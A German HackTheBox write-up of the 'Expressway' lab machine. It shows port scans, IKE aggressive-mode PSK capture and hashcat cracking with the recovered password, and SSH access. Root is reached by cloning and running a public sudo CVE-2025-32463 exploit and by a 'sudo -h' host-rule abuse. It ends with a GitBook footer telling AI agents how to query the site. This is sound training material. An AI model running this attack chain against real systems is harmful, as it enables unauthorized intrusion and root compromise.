> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md).

# Expressway HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/Expressway>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Wissen über die Aufzählung und Ausnutzung des IKE-Dienstes
* Aufzählung des Linux-Systems
* Ausnutzung von CVE-2025-32462
  {% endhint %}

#### **Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/3b9ce053ccd7c032a96c2e87b01c2f18eb274d3d" alt="" width="563"><figcaption></figcaption></figure>

#### **VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/abdb8b29090d89d52d253b6729b05cdeba80e1f6" alt="" width="563"><figcaption></figcaption></figure>

#### **Offene-Ports-Ermittlung mit Nmap:**

Der erste Schritt besteht darin, die exponierten Dienste zu identifizieren. Wir führen einen schnellen Scan der TCP- und UDP-Ports durch.

#### TCP scannen

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.238.52 -oG allPort
```

#### UDP scannen

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.129.238.52 -oG allPortsUDP
```

<figure><img src="/files/5a0634f649e369149c70c8d290dfb2bd41517a44" alt=""><figcaption></figcaption></figure>

#### Dienst- und Versionsscan

Nach der Identifizierung der Ports gehen wir tiefer in die spezifischen Dienste:

* TCP: Port 22 (SSH)
* UDP: Ports 68, 69 (TFTP), 500 (ISAKMP/VPN), 4500 (IPsec-NAT-T)

```bash
nmap -sCV -p22 10.129.238.52 -oN targeted
```

```bash
nmap -sUCV -p 68,69,500,4500 10.129.238.52 -oN targetedUDP
```

<figure><img src="/files/ed399c26b8f96624c9e15575ac546c1118a801f4" alt=""><figcaption></figcaption></figure>

### Eindringen: Ausnutzung von IKE (VPN)

UDP-Port 500 weist auf einen Schlüsselaustauschdienst (IKE) hin. Wir versuchen, den Pre-Shared Key (PSK) mit dem Aggressive Mode abzufangen.

#### ID-Ermittlung

Wir verwenden `ike-scan` um zu prüfen, ob der aggressive Modus aktiviert ist:.

```bash
sudo ike-scan -A 10.129.238.52
```

* Ergebnis: Handshake erfolgreich. ID erkannt: `ike@expressway.htb`.

#### PSK-Hash abfangen und knacken

<figure><img src="/files/0a53b37a74eeb077cc084192d4b91cbf04c1bbc1" alt=""><figcaption></figcaption></figure>

```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```

Wir extrahieren den Hash, um einen Brute-Force-Angriff mit dem `rockyou.txt` Wörterbuch durchzuführen.

```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```

* Erhaltene Anmeldedaten: `ike`: `freakingrockstarontheroad`

<figure><img src="/files/d5d57f50c7698167a162194e29edb84bc6ceba90" alt=""><figcaption></figcaption></figure>

#### Erstzugriff

Verbindung via SSH mit den gefundenen Anmeldedaten:

```bash
ssh ike@10.129.238.52
```

## Privilegieneskalation

Es wurden zwei Vektoren bestätigt, um die Rechte auf root zu eskalieren.

### Methode 1: CVE-2025-32463 (Sudo-Schwachstelle)

Überprüfung der Sudo-Version mit `sudo -V`, sehen wir, dass die Version 1.9.17 ist, die verwundbar ist.

{% embed url="<https://github.com/MohamedKarrab/CVE-2025-32463>" %}

<figure><img src="/files/082fbc5f3054e7c0f0362dff1814b1bbb10818c0" alt=""><figcaption></figcaption></figure>

1. Den Exploit klonen:

```bash
git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
cd CVE-2025-32463
```

Ausführen der Kompilierungs- und Ausnutzungsskripte:

```bash
./mkall-dynamic.sh
./get_root.sh
```

<figure><img src="/files/f22ae0648b777ec96129259b5d8ea2875d89d33e" alt=""><figcaption></figcaption></figure>

### Methode 2: Missbrauch der Proxy- und Hostname-Gruppe

Durch die Überprüfung der Gruppen des Benutzers sehen wir, dass wir zur Proxy-Gruppe gehören. Wir suchen nach den zugehörigen Dateien:

<figure><img src="/files/86b14e7c00c4f2e888abd6cd8f13355e02181a17" alt=""><figcaption></figcaption></figure>

Durch die Untersuchung der Squid-Logs (`/var/log/squid/access.log.1`)

```bash
find / -group proxy 2>/dev/null
```

<figure><img src="/files/1375d008489d2831a98c122b24cbe2ee1b7989e7" alt=""><figcaption></figcaption></figure>

Wir entdecken eine interne Subdomain: `offramp.expressway.htb`.

```bash
cat /var/log/squid/access.log.1 | grep httpp
```

<figure><img src="/files/3b09b23cfdbfe806a9da178b5900c0aa5cf30ba4" alt=""><figcaption></figcaption></figure>

Beim Überprüfen der Sudo-Richtlinien für diese spezifische Domain stellen wir fest, dass wir volle Berechtigungen haben:

```bash
sudo -h offramp.expressway.htb -l
```

Ergebnis: Wir können in diesem Host-Kontext jeden Befehl als root ausführen.

<figure><img src="/files/fe84aac6ab6361c7bc9e37bab80d2cb33b4a3305" alt=""><figcaption></figcaption></figure>

**Abschließende Ausführung für Root:**

```bash
sudo -h offramp.expressway.htb /bin/bash
```

<figure><img src="/files/4fb8084d709e3191d8f4415c7018d8df7bfd30c8" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/8aac1cc4967581e6001b46440f0ad05b876112a2" alt="" width="524"><figcaption></figcaption></figure>

<figure><img src="/files/73a8782dc3bd68a02cf5fd4c670395dbfd40009c" alt="" width="389"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
